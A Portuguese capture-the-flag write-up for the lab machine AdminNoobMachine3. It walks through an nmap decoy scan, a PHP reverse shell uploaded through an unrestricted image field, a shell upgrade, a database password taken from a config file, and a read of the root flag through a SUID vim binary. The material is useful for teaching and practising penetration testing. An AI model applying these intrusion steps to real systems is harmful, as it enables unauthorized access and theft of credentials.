AdminNoobMachine3

IP: 10.0.0.26

Não fui capaz de escalar privilégio nesta máquina, mesmo assim consegui encontrar a flag de outra forma.

Enumeration

# nmap -sS -v -Pn --top=50 -D RND:7 --open 10.0.0.26
.......................
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
10000/tcp open  snet-sensor-mgmt

Temos uma loja online rodando na porta 80, com um console administrativo:

Ele deixa logar com qualquer usuário e senha, vou tentar um upload malicioso na plataforma.

Basta gerar um shell em PHP, deixar a porta ouvindo em minha máquina e então subir o payload no campo "image". Pois ele aceita qualquer coisa.

Pós Exploração

Temos usuário limitado www-data. Precisamos ecalar privilégios.

Vamos fazer alguns levantamentos:

$ uname -a
Linux adminnoob3.hs.local 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

$lsb_release -a
Distributor ID:	Ubuntu
Description:	Ubuntu 18.04.5 LTS
Release:	18.04
Codename:	bionic

Temos aqui um Ubuntu 18.04.5 com kernel 4.15

Antes de mais nada, vamos melhorar a qualidade da shell, via python, para ter um bash interativo:

python3 -c "import pty; pty.spawn(\"/bin/sh\")"

No arquivo ./functions/database_functions.php temos algumas infos:

mysqli_connect("localhost", "online", "zTDpGfx92XXc", "www_project");

Ao rodar o Linux Exploit Suggester, temos alguns achados conhecidos:

Também sei que o sudo é Sudo version 1.8.21p2

As tentativas acima não ajudaram muito, mas ao rodar o LinEnum.sh, cheguei na seguinte fragilidade:

[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 2675336 Oct 13  2020 /usr/bin/vim.basic

Isso quer dizer que podemos rodar o editor de texto "vim" como root.

Então, como eu sei onde está a flag do amin, posso usar o vim para abrir o arquivo, mesmo sem ser root:

$ vim.basic /root/root.txt

Desta forma pude obter a flag do root para pontuar no CTF, mesmo sem escalar privilégio.

Last updated